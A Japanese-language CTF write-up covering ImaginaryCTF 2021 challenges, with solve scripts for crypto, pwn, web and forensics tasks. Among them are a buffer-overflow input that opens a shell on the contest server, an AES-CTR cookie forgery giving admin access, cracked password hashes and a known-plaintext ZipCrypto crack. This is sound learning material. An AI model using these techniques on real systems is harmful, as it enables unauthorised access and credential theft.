ImaginaryCTF 2021 Writeup

この大会は2021/7/24 1:00(JST)~2021/7/28 1:00(JST)に開催されました。
今回もチームで参戦。結果は4855点で1018チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc 15)

問題にフラグが書いてあった。

ictf{w3lc0m3_t0_1m@g1nary_c7f_2021!}

Discord (Misc 15)

Discordに入り、#imaginaryctf-2021チャネルのメッセージを見ると、フラグが書いてあった。

ictf{d41ly_ch4lls_0n_d1sc0rd_AND_4_ctf?_epic}

Chicken Caesar Salad (Crypto 50)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 8:
ictf{wHen_dID_cAEseR_cIphERs_gEt_sO_hARd}
ictf{wHen_dID_cAEseR_cIphERs_gEt_sO_hARd}

Hidden (Forensics 50)

psdが添付されている。https://www.photopea.com/で開き、レイヤーのShape 1をはずすと、フラグが見えた。
f:id:satou-y:20210802121936p:plain

ictf{wut_how_do_you_see_this}

stackoverflow (Pwn 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined local_38 [40];
  long local_10;
  
  local_10 = 0x42424242;
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  puts(
      "Welcome to StackOverflow! Before you start ~~copypasting code~~ asking good questions, we would like you to answer a question. What\'s your favorite color?"
      );
  __isoc99_scanf(&DAT_001009a3,local_38);
  puts("Thanks! Now onto the posts!");
  if (local_10 == 0x69637466) {
    puts("DEBUG MODE ACTIVATED.");
    system("/bin/sh");
  }
  else {
    puts("ERROR: FEATURE NOT IMPLEMENTED YET");
  }
  return 0;
}
>>> '69637466'.decode('hex')[::-1]
'ftci'

任意の40バイトのあとに"fcti"を入力すればよい。

$ nc chal.imaginaryctf.org 42001
Welcome to StackOverflow! Before you start ~~copypasting code~~ asking good questions, we would like you to answer a question. What's your favorite color?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaftci
Thanks! Now onto the posts!
DEBUG MODE ACTIVATED.
ls
flag.txt
run
cat flag.txt
ictf{4nd_th4t_1s_why_y0u_ch3ck_1nput_l3ngth5_486b39aa}
ictf{4nd_th4t_1s_why_y0u_ch3ck_1nput_l3ngth5_486b39aa}

Flip Flops (Crypto 100)

サーバの処理概要は以下の通り。

・key, iv:ランダム16バイト文字列
・flag: フラグ
・以下3回繰り返し(メニュー選択)
 ・1. Encrypt
  ・平文入力("gimmeflag"を含めるとNG)
  ・入力文字列をAES-CBC暗号
 ・2. Check
  ・暗号入力
  ・AES-CBC復号
   →"gimmeflag"が含まれている場合フラグを表示

AES暗号のCBCモードは以下のようになっている。

平文1ブロック目(p0) ^ IV                  --(AES-CBC暗号)--> 暗号1ブロック目(c0)
平文2ブロック目(p1) ^ 暗号1ブロック目(c0) --(AES-CBC暗号)--> 暗号2ブロック目(c1)

c0を調整して、平文2ブロック目に"gimmeflag"を含めればよい。

import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.imaginaryctf.org', 42011))

data = recvuntil(s, 'enough)\n').rstrip()
print data

pt = ('a' * 25).encode('hex')

data = recvuntil(s, '> ')
print data + '1'
s.sendall('1\n')
data = recvuntil(s, ': ')
print data + pt
s.sendall(pt + '\n')
data = recvuntil(s, '\n').rstrip()
print data
ct = data.decode('hex')
ct0 = ct[:16]

pt_part = 'gimmeflag' + 'a' * 7
new_ct0 = strxor(strxor(ct0, 'a' * 16), pt_part)
ct = (new_ct0 + ct[16:]).encode('hex')

data = recvuntil(s, '> ')
print data + '2'
s.sendall('2\n')
data = recvuntil(s, ': ')
print data + ct
s.sendall(ct + '\n')
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

                                        ,,~~~~~~,,..
                             ...., ,'~             |
                             \    V                /
                              \  /                 /
                              ;####>     @@@@@     )
                              ##;,      @@@@@@@    )
                           .##/  ~>      @@@@@   .   .
                          ###''#>              '      '
      .:::::::.      ..###/ #>               '         '
     //////))))----~~ ## #}                '            '
   ///////))))))                          '             '
  ///////)))))))\                        '              '
 //////)))))))))))                                      '
 |////)))))))))))))____________________________________).
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||

(yeah they're not flip flops but close enough)


Send me a string that when decrypted contains 'gimmeflag'.
1. Encrypt
2. Check
> 1
Enter your plaintext (in hex): 61616161616161616161616161616161616161616161616161
a9a5b4d873223001b05c7442ee38564980983a2ddfc2724a3b287454bcac16b7
Send me a string that when decrypted contains 'gimmeflag'.
1. Encrypt
2. Check
> 2
Enter ciphertext (in hex): afadb8d477253d01b65c7442ee38564980983a2ddfc2724a3b287454bcac16b7
ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}
ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}

Imaginary (Misc 100)

複素数の足し算、引き算の複合問題が出題されるので、答えていく。たまに答える必要がない場合があるので、それを考慮してスクリプトにする。

import socket
import cmath

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def calc(formula):
    e = formula.replace('i', 'j').split(')')[:-1]
    ans = 0
    for i in range(len(e)):
        ans += eval(e[i] + ')')
    ans = str(ans).replace('j', 'i')
    return ans[1:-1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.imaginaryctf.org', 42015))

for i in range(300):
    data = recvuntil(s, '> ')
    formula = data.split('\n')[-2]
    if formula.startswith('__import__'):
        ans = ''
    else:
        ans = calc(formula)
    print data + ans
    s.sendall(ans + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Welcome to the Imaginary challenge! I'm gonna give you 300 imaginary/complex number problems, and your job is to solve them all. Good luck!

Sample input: (55+42i) + (12+5i) - (124+15i)
Sample output: -57+32i

Sample input: (23+32i) + (3+500i) - (11+44i)
Sample output: 15+488i

(NOTE: DO NOT USE eval() ON THE CHALLENGE OUTPUT. TREAT THIS IS UNTRUSTED INPUT. Every once in a while the challenge will attempt to forkbomb your system if you are using eval(), so watch out!)

(37+48i) - (13+34i)
> 24+14i
Correct!
(30+50i) - (27+10i) + (7+22i)
> 10+62i
Correct!
        :
        :
(34+0i) + (38+17i) + (1+7i) - (20+24i) + (39+19i) - (19+17i) - (24+2i) - (8+46i) + (21+19i) + (25+22i) - (35+8i) + (40+20i) - (10+36i) + (7+44i) + (1+0i) + (49+11i) - (38+12i) - (18+50i) + (43+27i) - (49+37i) + (36+16i) - (47+24i) + (4+24i) - (33+13i) - (18+38i) - (2+38i) + (32+41i) - (39+23i) - (5+31i) + (28+7i) + (11+35i) - (15+19i) - (12+32i) - (4+21i) - (36+26i) - (14+18i) - (12+22i) + (43+36i) - (2+24i) + (18+36i) + (25+48i) - (36+49i) + (11+50i) - (26+16i) + (21+13i) + (15+15i) + (36+11i) - (18+22i) + (25+1i) + (37+44i) - (8+1i) - (49+15i) - (41+43i) + (14+30i) + (7+25i) - (8+31i) + (29+43i) - (49+49i) - (7+17i) - (39+4i) - (22+28i) + (40+20i) - (10+19i) + (50+46i) + (32+1i) + (39+7i) - (35+4i) - (50+39i) - (28+12i) + (34+47i) - (19+28i) - (41+3i) + (43+7i) - (34+49i) - (27+43i) - (46+7i) - (38+27i) + (10+40i) - (38+6i) - (18+46i) + (23+36i) - (8+43i) + (48+39i) - (33+17i) - (49+34i) + (50+26i) - (1+1i) - (35+20i) + (6+27i) + (19+8i) + (42+27i) - (18+42i) - (7+35i) + (44+24i) - (8+40i) - (40+19i) - (39+29i) + (33+19i) + (43+8i) + (30+13i) - (46+41i) - (45+47i) + (17+50i) - (28+36i) - (50+30i) + (9+45i) + (10+12i) - (31+43i) - (47+46i) + (5+38i) + (11+21i) + (28+48i) + (4+14i) + (26+42i)
> -246-316i
Correct!
(41+5i) - (26+30i) + (1+17i) - (38+38i) - (30+44i) - (7+2i) + (18+45i) + (33+6i) - (23+39i) + (2+0i) - (6+40i) - (36+43i) - (17+34i) - (29+41i) + (0+25i) + (26+3i) - (38+7i) + (22+21i) + (38+20i) - (0+15i) + (34+42i) + (48+34i) + (10+14i) - (17+24i) + (41+22i) - (33+32i) + (47+21i) + (30+17i) + (41+12i) - (29+45i) + (41+10i) - (44+11i) - (2+33i) + (29+40i) - (8+38i) + (0+30i) + (3+7i) - (1+9i) + (18+5i) + (43+13i) + (13+50i) + (15+28i) + (46+46i) + (8+32i) + (33+32i) - (6+48i) - (36+5i) + (33+14i) + (27+11i) + (18+25i) + (45+15i) + (22+34i) - (5+1i) + (49+19i) - (20+38i) - (29+22i) + (37+26i) + (40+28i) + (22+37i) - (1+19i) + (22+2i) - (22+40i) + (46+22i) - (43+9i) + (17+6i) + (46+45i) - (26+0i) - (47+49i) + (38+35i) - (48+37i) + (19+34i) + (25+31i) - (47+4i) - (11+3i) + (48+43i) + (20+11i) - (48+14i) + (45+45i) + (48+10i) - (26+19i) + (7+25i) + (8+29i) - (6+15i) - (43+44i) - (40+0i) - (42+0i) + (6+12i) - (32+46i) + (41+22i) + (9+7i) + (4+48i) - (12+0i) - (38+9i) - (3+35i) - (34+38i) - (34+21i) - (48+23i) + (42+36i) - (23+5i) + (11+21i) + (23+35i) - (45+34i) - (50+29i) - (16+8i) + (34+49i) - (25+40i) + (22+16i) + (33+36i) - (17+25i) + (4+46i) - (37+42i) + (13+22i) - (6+34i) + (4+5i) + (18+46i) - (4+31i) - (12+47i) + (28+42i) - (39+26i) - (36+33i) + (39+39i) - (46+16i) + (45+11i) - (30+47i) + (21+21i) + (43+22i) - (9+0i) - (46+21i) - (8+40i) + (10+47i) - (12+26i) - (39+22i) + (15+12i) - (10+45i) + (24+22i) - (26+4i) + (50+17i) + (28+13i) - (30+33i) + (41+31i) + (26+6i) - (30+25i) + (6+28i) + (10+39i) + (24+18i) + (12+9i) + (37+21i) + (43+43i) - (23+24i) - (20+37i) - (48+30i) + (12+28i) + (1+9i) - (26+46i) + (37+24i) + (32+4i) + (23+44i) - (13+17i) + (8+30i) - (22+48i) + (42+50i) + (26+29i) - (8+19i) - (20+5i) + (27+22i) - (34+8i) - (45+1i) + (25+18i) - (20+1i) - (48+2i) + (46+20i) + (48+15i) - (37+16i) - (11+24i) - (39+8i) - (29+46i) - (26+21i) - (45+17i) + (8+23i) + (2+7i) - (40+38i) - (32+22i) - (50+21i) - (44+11i) + (48+9i) - (39+35i) - (10+41i) - (12+16i) - (38+47i) - (30+16i) + (32+38i) - (36+34i) - (48+39i) - (22+46i) + (26+1i) + (36+42i) - (32+1i) - (31+19i) + (27+23i) - (22+28i) - (0+24i) - (5+31i) + (47+5i) + (7+41i) + (45+46i) + (9+32i) + (22+3i) + (39+24i) - (22+37i) - (21+24i) + (32+43i) - (32+8i) + (15+42i) + (33+1i) - (32+5i) + (2+47i) - (12+11i) - (15+50i) + (2+20i) + (31+45i) - (11+24i) - (18+47i) + (44+38i) - (13+26i) - (0+31i) - (28+14i) + (27+20i) + (37+16i) + (5+40i) + (48+8i) - (2+48i) + (6+9i) - (3+7i) - (27+32i) + (30+7i) + (42+40i) + (7+24i) + (0+34i) + (16+28i) + (40+50i) + (1+38i) - (5+21i) + (14+47i) - (50+40i) + (2+37i) + (38+37i) - (18+23i) - (21+30i) - (7+26i) + (32+20i) - (41+4i) - (8+23i) + (47+37i) - (49+45i) + (43+33i) - (30+27i) - (31+21i) - (42+3i) + (32+43i) + (32+13i) + (47+19i) + (34+39i) + (25+29i) - (31+37i) + (47+7i) - (26+10i) - (49+38i) + (32+18i) - (13+37i) + (25+17i) + (21+2i) - (37+19i)
> 267+217i
Correct!
You did it! Here's your flag!
ictf{n1c3_y0u_c4n_4dd_4nd_subtr4ct!_49fd21bc}
ictf{n1c3_y0u_c4n_4dd_4nd_subtr4ct!_49fd21bc}

Rock Solid Algorithm (Crypto 100)

eが小さいので、Low Public-Exponent Attackで復号する。

import gmpy
from Crypto.Util.number import *

n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367
e = 5
c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152

c2 = c
while True:
    m = gmpy.root(c2, e)[0]
    if pow(m, e, n) == c:
        break
    c2 += n

flag = long_to_bytes(m)
print flag
ictf{3_isnt_th3_0nly_sm4ll_3xp0n3nt}

Spelling Test (Misc 100)

autocorrectライブラリを使って、スペルチェックをし、誤りの文字を抽出する。

#!/usr/bin/python3
from autocorrect import Speller

def diff_char(word, correct):
    for i in range(len(word)):
        if word[i] != correct[i]:
            return word[i], correct[i]
    return '', ''

with open('words.txt', 'r') as f:
    words = [line.rstrip() for line in f.readlines()]

spell = Speller(lang='en')

flag = ''
for word in words:
    correct = spell(word)
    if correct != word:
        print('[+] %s -> %s' % (word, correct))
        flag += diff_char(word, correct)[0]

flag = flag.replace('ictf', 'ictf{') + '}'
print('[*] flag:', flag)

実行結果は以下の通り。

[+] convirgence -> convergence
[+] translatcr -> translator
[+] addretsing -> addressing
[+] approachfs -> approaches
[+] subscrybers -> subscribers
[+] endangored -> endangered
[+] modufications -> modifications
[+] rehapilitation -> rehabilitation
[+] camputers -> computers
[+] classisal -> classical
[+] munisipality -> municipality
[+] engineereng -> engineering
[+] requiremend -> requirement
[+] generatint -> generating
[+] recruitmeht -> recruitment
[+] yorkshere -> yorkshire
[+] applicasions -> applications
[+] instalping -> installing
[+] broadcesting -> broadcasting
[+] attractlve -> attractive
[+] obituarles -> obituaries
[+] bibliogriphy -> bibliography
[+] avainable -> available
[+] instructiongl -> instructional
[+] strengthenint -> strengthening
[+] discherge -> discharge
[+] subscriptisn -> subscription
[+] copyrightet -> copyrighted
[*] flag: ictf{youpassedthespellingtest}
ictf{youpassedthespellingtest}

Vacation (Forensics 100)

右の方にある店に書いてある文字「ROCK SHOP HEMP COMPANY」から調べる。店に書いてある文字の一部からTahoe Hemp Companyがヒットし、特定できる。場所は以下のあたりか。

https://www.google.com/maps/@38.9471735,-119.9612012,3a,75y,116.8h,86.86t/data=!3m6!1e1!3m4!1sFM16GZNsoYBXA_5uJEmWjg!2e0!7i16384!8i8192
ictf{38.947_-119.961}

Cookie Stream (Web 150)

コードを見ると、クッキーのauthにnonce+のpaddingのAES CTRモード暗号データで設定されている。
まずコードに書かれている各ユーザのパスワードのsha512をCrackStationでクラックしてみる。

ImaginaryCTFUser
87197acc4657e9adcc2e4e24c77268fa5b95dea2867eacd493a0478a0c493420bfb2280c7e4e579a604e0a243f74a36a8931edf71b088add09537e54b11ce326
→idk

Eth007
444c67bb7d9d56580e0a2fd1ad00c535e465fc3ca9558e8333512fe65ff971a3dfb6b08f48ea4f91f8e8b55887ec3f0d7634a8df98e636a4134628c95a8f0ebf
→supersecure

just_a_normal_user
b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86
→password

firepwny
6adee5baa5ad468ac371d40771cf2e83e3033f91076f158d2c8d5d7be299adfce15247067740edd428ef596006d6eaa843b36cc109618e0a1cae843b6eed5c29
→pwned

やはりadminはクラックできなかった。
Eth007 / supersecureでログインすると、クッキーのauthに以下が設定されている。

db32c21e8367c1057f014ef2ce3dc58866792a6d5f62d6a1

AES-CTRでpad("Eth007")が暗号化されているので、以下で設定すれば、adminの情報になるはず。

nonce: db32c21e8367c105(変更なし)
ciphertext: hex((pad("Eth007") ^ unhex("7f014ef2ce3dc58866792a6d5f62d6a1")) ^ pad("admin"))
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor

eth007_auth = 'db32c21e8367c1057f014ef2ce3dc58866792a6d5f62d6a1'
nonce = eth007_auth[:16]
eth007_ct = eth007_auth[16:].decode('hex')
admin_ct = strxor(strxor(pad('Eth007', 16), eth007_ct), pad('admin', 16))
admin_auth = nonce + admin_ct.encode('hex')
print admin_auth

adminのauthはこのようになる。

db32c21e8367c1055b114bab9001c48967782b6c5e63d7a0

クッキーのauthにこの値を設定してリロードしてみると、フラグが表示された。
f:id:satou-y:20210802145053p:plain

ictf{d0nt_r3us3_k3ystr34ms_b72bfd21}

Lines (Crypto 150)

式を変換していく。

encrypt(flag) = (s * flag) % p = C1
encrypt(msg) = (s * msg) % p = C2
                ↓
s = C1 * inverse(flag) = C2 * inverse(msg)
                ↓
flag = (C1 * msg * inverse(C2)) % p

以上より、フラグを求める。

from Crypto.Util.number import *

msg = bytes_to_long(':roocursion:')
p = 82820875767540480278499859101602250644399117699549694231796720388646919033627
C1 = 26128737736971786465707543446495988011066430691718096828312365072463804029545
C2 = 15673067813634207159976639166112349879086089811595176161282638541391245739514

flag = (C1 * msg * inverse(C2, p)) % p
flag = long_to_bytes(flag)
print flag
ictf{m0d_4r1th_ftw_1c963241}

Password Protected (Forensics 150)

zipと4つの関数とそのアドレスらしきものが書かれたテキストleak.txtが添付されている。zipはパスワードがかかっていて、libc.so.6が含まれている。
https://libc.blukat.me/でleak.txtの条件を満たすものをダウンロードする。libc6_2.31-0ubuntu9.2_amd64.soが条件を満たしzipに含まれているファイルと同じものと思われる。これを使ってpkcrackでクラックしてみる。

$ zip libc.so.6.zip libc6_2.31-0ubuntu9.2_amd64.so
  adding: libc6_2.31-0ubuntu9.2_amd64.so (deflated 57%)
$ ./pkcrack-1.2.2/src/pkcrack -C encrypted.zip -c libc.so.6 -P libc.so.6.zip -p libc6_2.31-0ubuntu9.2_amd64.so -d decrypted.zip
Files read. Starting stage 1 on Sat Jul 24 16:18:26 2021
Generating 1st generation of possible key2_863244 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 986 values at offset 857306
Lowest number: 978 values at offset 857301
Lowest number: 960 values at offset 857290
Lowest number: 859 values at offset 857286
Lowest number: 848 values at offset 856655
Lowest number: 839 values at offset 856633
Lowest number: 833 values at offset 856632
Lowest number: 796 values at offset 856629
Lowest number: 760 values at offset 856616
Lowest number: 757 values at offset 856606
Lowest number: 728 values at offset 856605
Lowest number: 696 values at offset 856603
Lowest number: 691 values at offset 856600
Lowest number: 673 values at offset 856599
Lowest number: 660 values at offset 856596
Lowest number: 648 values at offset 856569
Lowest number: 618 values at offset 856568
Lowest number: 589 values at offset 856567
Lowest number: 574 values at offset 856541
Lowest number: 573 values at offset 856537
Lowest number: 547 values at offset 856535
Lowest number: 507 values at offset 856510
Lowest number: 494 values at offset 856506
Lowest number: 449 values at offset 856505
Lowest number: 448 values at offset 856503
Lowest number: 447 values at offset 856502
Lowest number: 432 values at offset 856501
Lowest number: 431 values at offset 856471
Lowest number: 403 values at offset 856467
Lowest number: 393 values at offset 856466
Lowest number: 392 values at offset 856422
Lowest number: 374 values at offset 856361
Lowest number: 356 values at offset 856355
Lowest number: 328 values at offset 855857
Lowest number: 308 values at offset 855843
Lowest number: 304 values at offset 855842
Lowest number: 302 values at offset 855819
Lowest number: 300 values at offset 855811
Lowest number: 274 values at offset 855802
Lowest number: 246 values at offset 855800
Lowest number: 223 values at offset 855799
Lowest number: 218 values at offset 855798
Lowest number: 216 values at offset 855797
Lowest number: 215 values at offset 809963
Lowest number: 211 values at offset 809954
Lowest number: 209 values at offset 809941
Lowest number: 198 values at offset 809940
Lowest number: 184 values at offset 809938
Lowest number: 160 values at offset 809936
Lowest number: 154 values at offset 809935
Lowest number: 152 values at offset 709043
Lowest number: 146 values at offset 599652
Lowest number: 135 values at offset 599364
Lowest number: 128 values at offset 599363
Lowest number: 127 values at offset 599220
Lowest number: 126 values at offset 599219
Lowest number: 125 values at offset 599218
Lowest number: 122 values at offset 599216
Lowest number: 111 values at offset 599214
Lowest number: 107 values at offset 599213
Lowest number: 85 values at offset 599212
Done. Left with 85 possible Values. bestOffset is 599212.
Stage 1 completed. Starting stage 2 on Sat Jul 24 16:19:25 2021
Ta-daaaaa! key0=169ab86d, key1=8faccdaf, key2=4f259cb4
Probabilistic test succeeded for 264037 bytes.
Ta-daaaaa! key0=169ab86d, key1=8faccdaf, key2=4f259cb4
Probabilistic test succeeded for 264037 bytes.
Stage 2 completed. Starting zipdecrypt on Sat Jul 24 16:19:27 2021
Decrypting libc.so.6 (5a8eee0ac43616dbf0913659)... OK!
Decrypting flag.txt (efb5215f60881a74a4b03659)... OK!
Decrypting runme (d2d6732c6420b779f1c0fd60)... OK!
Finished on Sat Jul 24 16:19:27 2021
$ unzip decrypted.zip 
Archive:  decrypted.zip
  inflating: libc.so.6               
 extracting: flag.txt                
  inflating: runme
$ cat flag.txt
ictf{dont_use_zipcrypto_5e2b32f3}
ictf{dont_use_zipcrypto_5e2b32f3}

New Technology (Crypto 300)

暗号化処理の概要は以下の通り。

・priv, pub = gen()
 ・private = []
 ・以下を5回実行
  ・p: 512ビットランダム整数
  ・e: 1~3ランダム整数
  ・privateに(p, e)を追加
  ・normalize(private)
  ・p**eの積
 ・private, normalize(private)を返却
・key = deriv(priv)
・keyのsha256を鍵として、フラグをAES-CBC暗号化する。

keyを割り出す必要があるが、処理を紐解くのが難しい。pubを素因数分解できれば良いのだが、それも難しい。keyがpubだけで計算できることを推測して、いろいろ試す。試した結果、key=pub**2であることが分かった。あとはこのことを前提に復号する。

#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

pub = 0x281ab467e16cdedb97a298249bdd334f0cc7d54177ed0946c04ec26da111c1fd7afa78fca045f81d89fe541f1d869b8edd4209c898a529737b9380ce9b47133ed9e097bcf050178c4a1ff92f35410ee589cc62617b63632f6c7aa506bdc50a79624246a63e4139a04a51f666cc53e21b7d4b12da7757feb367d47110af9bc707d92c9be2f2e4a51ea219cd9aacc76950f992ced96bab65ba654ded42af5fc4fec5330ebc29f377e733f1829b72f91e270c43e407d649d5cc1d38be9a0020cfe5cc537c131887b5a07a214eae2f0d9e684897590a637bd800fed6a61f6c034fe3a69d516d10a1e63aee3f71e067497d0d7ac1ec771cfae3ce89d82d69cd280622730e58b0427d193a5404f21f962e711d31c9a224e187031cf0e4bcdb341b65e999157fb55c7aae0cffed74b832a79259c18bf7b2db57e500d36376767973ee350af4fc004a7f4dcd325724a6994ca63687d3cfb688deb20e4175a67969ed7d245c207257eab7a71cc298532e72e73e446102e59a1a36de09c386445df171797e0d2db39f4fc1fba793d78ea92c6801b79eaef2ebaad54bd2a8106471adc60be708b9b0f4e824c25c414755ff56dace29c067e29c11a8adcc5f367e1c7d10310116eab8d99ddb2ae524f56bf9436f59e581c6e22b4a80d2520893c57aaafa0e6349347991f26b25b594bd47c5c0a69ed32c3fd0961f54586f3d91bf14d96d93d3f97c7a504ba8e3fe9e08316fe9f3d78500337a180120b5b375980ef19f57ff678a07b582ea3a113e2a0b14683ff3983153a2203cffd39fc7673281f72db700d
ciphertext = 'd2463ccc52075674effbad1b1ea5ae9a9c8106f141cff8fdec9b118ddddcfb3a1f036ed5f3bf0440c95828ebf1c584e4'

key = pub**2
cipher = AES.new(hashlib.sha256(str(key).encode('utf-8')).digest(), AES.MODE_CBC, iv=b'\0' * 16)
FLAG = unpad(cipher.decrypt(bytes.fromhex(ciphertext)), 16).decode()
print(FLAG)
ictf{Would_number_theory_be_new_technology?}

Roll it back (Crypto 300)

flagをlittleエンディアンで数値にして、シフト演算でシフトしている。シフトだけでなく、最上位ビットを決定する計算があるため、少し複雑になっているが、逆算が可能。

#!/usr/bin/python3
from itertools import *
from gmpy2 import *

def x(a,b):
    return bytes(islice((x^y for x,y in zip(cycle(a), cycle(b))), max(*map(len, [a, b]))))

def t(x):
    return sum((((x & 28) >> 4) & 1) << i for i, x in enumerate(x))

l = 420
flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643

T = t(x(b"jctf{not_the_flag}", b"*-*")) | 1

for _ in range(421337):
    upper_bit = (flag >> (l - 1))
    count = popcount((flag << 1) & T) & 1
    flag = (flag << 1) & (2**l - 1)
    if upper_bit != count:
        flag += 1

flag = flag.to_bytes((l + 7) // 8, byteorder='little')
print(flag.decode())
ictf{I_did_not_have_linear_relations_with_that_LFSR}